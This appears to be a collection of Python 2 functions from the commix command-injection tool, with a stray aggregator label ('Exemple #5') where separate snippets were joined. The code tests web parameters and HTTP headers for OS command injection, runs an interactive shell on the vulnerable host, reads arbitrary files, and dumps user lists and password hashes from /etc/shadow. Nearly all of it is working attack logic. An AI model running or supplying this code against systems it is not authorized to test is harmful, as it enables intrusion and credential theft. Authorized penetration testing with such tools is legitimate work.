def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    shell = "".join(str(p) for p in shell)
    success_msg = "The hostname is " +  shell
    sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print settings.print_warning_msg(warn_msg)
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  cmd =  menu.options.os_cmd
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if shell != "":
      print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
      logs.print_logs_notification(filename, url)
    else:
      err_msg = "The '" + cmd + "' command, does not return any output."
      print settings.print_critical_msg(err_msg) 
    raise SystemExit()
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  else:
    cmd = "\"" + cmd + "\""
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    ps_version = eb_injector.injection_results(response, TAG, cmd)
    ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1)
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify the version of Powershell, "
    warn_msg += "which means that some payloads or injection techniques may be failed."
    print settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False
    checks.ps_check_failed()
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session:
    print ""
  if shell:
    success_msg = "The contents of file '"  
    success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
    sys.stdout.write(settings.print_success_msg(success_msg))
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()
Exemple #5
0
def cb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  export_injection_info = False
  injection_type = "results-based OS command injection"
  technique = "classic command injection technique"

  if not settings.LOAD_SESSION: 
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
      
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          if whitespace == " ":
            whitespace = urllib.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.CLASSIC_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          else:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
            
            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2
            
            # Define alter shell
            alter_shell = menu.options.alter_shell
            
            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = cb_payloads.decision(separator, TAG, randv1, randv2)
              
              # Define prefixes & suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print settings.print_payload(payload)
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating a payload for injection..."
                print settings.print_info_msg(info_msg)
                print settings.print_payload(payload) 
                
              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
                
              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = cb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = cb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)

              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)

              # Evaluate test results.
              time.sleep(timesec)
              shell = cb_injector.injection_test_results(response, TAG, randvcalc)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
              
                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if float(float_percent) >= 99.9:
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"
                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
            
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise

            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print settings.print_error_msg(err_msg)
              raise 

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method + "" 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False  
            
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  #print ""
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
          
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print ""
            
            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  file_access_again = sys.stdin.readline().replace("\n","").lower()
                else:
                  file_access_again = ""  
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print ""
                cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print ""
              
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break 
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
              else:
                gotshell = ""  
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    if not readline_error:
                      # Tab compliter
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # Command execution results.
                      time.sleep(timesec)
                      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        try:
                          shell = cb_injector.injection_results(response, TAG, cmd)
                          shell = "".join(str(p) for p in shell)
                        except:
                          print ""
                          continue  
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        html_parser = HTMLParser.HTMLParser()
                        shell = html_parser.unescape(shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                      if shell != "":
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                  except KeyboardInterrupt: 
                    raise
                    
                  except SystemExit: 
                    raise

                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print settings.print_error_msg(err_msg)
                    raise 

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."
                print settings.print_error_msg(err_msg)
                pass
                
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print ""
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):     
  if settings.TARGET_OS == "win":
    # Not yet implemented!
    pass 
  else:
    cmd = settings.SYS_PASSES            
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
      # Command execution results.
      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
      # Perform target page reload (if it is required).
      if settings.URL_RELOAD:
        response = requests.url_reload(url, timesec)
      # Evaluate injection results.
      sys_passes = cb_injector.injection_results(response, TAG, cmd)
      sys_passes = "".join(str(p) for p in sys_passes)
      session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
    else:
      sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if sys_passes == "":
      sys_passes = " "
    if sys_passes :
      info_msg = "Fetching '" + settings.SHADOW_FILE 
      info_msg += "' to enumerate users password hashes... "  
      sys.stdout.write(settings.print_info_msg(info_msg))
      sys.stdout.flush()
      sys_passes = sys_passes.replace(" ", "\n")
      sys_passes = sys_passes.split()
      if len(sys_passes) != 0 :
        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
        success_msg = "Identified " + str(len(sys_passes))
        success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] 
        success_msg += " in '" +  settings.SHADOW_FILE + "'.\n"
        sys.stdout.write("\n" + settings.print_success_msg(success_msg))
        sys.stdout.flush()
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg )
        output_file.close()
        count = 0
        for line in sys_passes:
          count = count + 1
          try:
            if ":" in line:
              fields = line.split(":")
              if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
                print "  (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
                # Add infos to logs file.   
                output_file = open(filename, "a")
                output_file.write("    (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
                output_file.close()
          # Check for appropriate '/etc/shadow' format.
          except IndexError:
            if count == 1 :
              warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
              warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
              sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
            print fields[0]
            output_file = open(filename, "a")
            output_file.write("      " + fields[0])
            output_file.close()
      else:
        sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
        sys.stdout.flush()
        warn_msg = "It seems that you don't have permissions to read '" 
        warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
        print "\n" + settings.print_warning_msg(warn_msg)
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): 
  if settings.TARGET_OS == "win":
    settings.SYS_USERS = settings.WIN_SYS_USERS
    settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
    if alter_shell:
      settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
    # else:  
    #   settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""   
  cmd = settings.SYS_USERS    
  if settings.TARGET_OS == "win":
    cmd = "cmd /c " + cmd 
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    sys_users = cb_injector.injection_results(response, TAG, cmd)
    sys_users = "".join(str(p) for p in sys_users)
    session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
  else:
    sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) 
  # Windows users enumeration.
  if settings.TARGET_OS == "win":
    info_msg = "Executing the 'net users' command "
    info_msg += "to enumerate users entries... "  
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    try:
      if sys_users[0] :
        sys_users = "".join(str(p) for p in sys_users).strip()
        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
        sys_users_list = re.findall(r"(.*)", sys_users)
        sys_users_list = "".join(str(p) for p in sys_users_list).strip()
        sys_users_list = ' '.join(sys_users_list.split())
        sys_users_list = sys_users_list.split()
        success_msg =  "Identified " + str(len(sys_users_list))
        success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] 
        success_msg += " via 'net users' command.\n"
        sys.stdout.write("\n" + settings.print_success_msg(success_msg))
        sys.stdout.flush()
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
        output_file.close()
        count = 0
        for user in range(0, len(sys_users_list)):
          count = count + 1
          if menu.options.privileges:
            cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
            if alter_shell:
              cmd = cmd.replace("'","\\'")
            cmd = "cmd /c " + cmd 
            response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
            check_privs = cb_injector.injection_results(response, TAG, cmd)
            check_privs = "".join(str(p) for p in check_privs).strip()
            check_privs = re.findall(r"(.*)", check_privs)
            check_privs = "".join(str(p) for p in check_privs).strip()
            check_privs = check_privs.split()
            if "Admin" in check_privs[0]:
              is_privileged = Style.RESET_ALL + " is" +  Style.BRIGHT + " admin user"
              is_privileged_nh = " is admin user "
            else:
              is_privileged = Style.RESET_ALL + " is" +  Style.BRIGHT + " regular user"
              is_privileged_nh = " is regular user "
          else :
            is_privileged = ""
            is_privileged_nh = ""
          print "    (" +str(count)+ ") '" + Style.BRIGHT +  sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "." 
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write("    (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
          output_file.close()
      else:
        sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
        sys.stdout.flush()
        warn_msg = "It seems that you don't have permissions to enumerate users entries."
        print "\n" + settings.print_warning_msg(warn_msg) 

    except TypeError:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n")
      sys.stdout.flush()
      pass

    except IndexError:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
      sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
      sys.stdout.flush()
      pass
      
  # Unix-like users enumeration.    
  else:
    info_msg = "Fetching '" + settings.PASSWD_FILE 
    info_msg += "' to enumerate users entries... "  
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    try:
      if sys_users[0] :
        sys_users = "".join(str(p) for p in sys_users).strip()
        if len(sys_users.split(" ")) <= 1 :
          sys_users = sys_users.split("\n")
        else:
          sys_users = sys_users.split(" ")
        # Check for appropriate '/etc/passwd' format.
        if len(sys_users) % 3 != 0 :
          sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
          sys.stdout.flush()
          warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
          warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
          print "\n" + settings.print_warning_msg(warn_msg)
          sys_users = " ".join(str(p) for p in sys_users).strip()
          print sys_users
          output_file = open(filename, "a")
          output_file.write("      " + sys_users)
          output_file.close()
        else:  
          sys_users_list = []
          for user in range(0, len(sys_users), 3):
             sys_users_list.append(sys_users[user : user + 3])
          if len(sys_users_list) != 0 :
            sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
            success_msg = "Identified " + str(len(sys_users_list)) 
            success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] 
            success_msg += " in '" +  settings.PASSWD_FILE + "'.\n"
            sys.stdout.write("\n" + settings.print_success_msg(success_msg))
            sys.stdout.flush()
            # Add infos to logs file.   
            output_file = open(filename, "a")
            output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
            output_file.close()
            count = 0
            for user in range(0, len(sys_users_list)):
              sys_users = sys_users_list[user]
              sys_users = ":".join(str(p) for p in sys_users)
              count = count + 1
              fields = sys_users.split(":")
              fields1 = "".join(str(p) for p in fields)
              # System users privileges enumeration
              try:
                if not fields[2].startswith("/"):
                  raise ValueError()
                if menu.options.privileges:
                  if int(fields[1]) == 0:
                    is_privileged = Style.RESET_ALL + " is" +  Style.BRIGHT + " root user "
                    is_privileged_nh = " is root user "
                  elif int(fields[1]) > 0 and int(fields[1]) < 99 :
                    is_privileged = Style.RESET_ALL + " is" +  Style.BRIGHT + " system user "
                    is_privileged_nh = " is system user "
                  elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
                    if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
                      is_privileged = Style.RESET_ALL + " is" +  Style.BRIGHT + " anonymous user "
                      is_privileged_nh = " is anonymous user "
                    elif int(fields[1]) == 60002:
                      is_privileged = Style.RESET_ALL + " is" +  Style.BRIGHT + " non-trusted user "
                      is_privileged_nh = " is non-trusted user "   
                    else:
                      is_privileged = Style.RESET_ALL + " is" +  Style.BRIGHT + " regular user "
                      is_privileged_nh = " is regular user "
                  else :
                    is_privileged = ""
                    is_privileged_nh = ""
                else :
                  is_privileged = ""
                  is_privileged_nh = ""
                print "    (" +str(count)+ ") '" + Style.BRIGHT +  fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'." 
                # Add infos to logs file.   
                output_file = open(filename, "a")
                output_file.write("    (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
                output_file.close()
              except ValueError:
                if count == 1 :
                  warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
                  warn_msg += "appropriate format. Thus, it is expoted as a text file." 
                  print settings.print_warning_msg(warn_msg)
                sys_users = " ".join(str(p) for p in sys_users.split(":"))
                print sys_users 
                output_file = open(filename, "a")
                output_file.write("      " + sys_users)
                output_file.close()
      else:
        sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
        sys.stdout.flush()
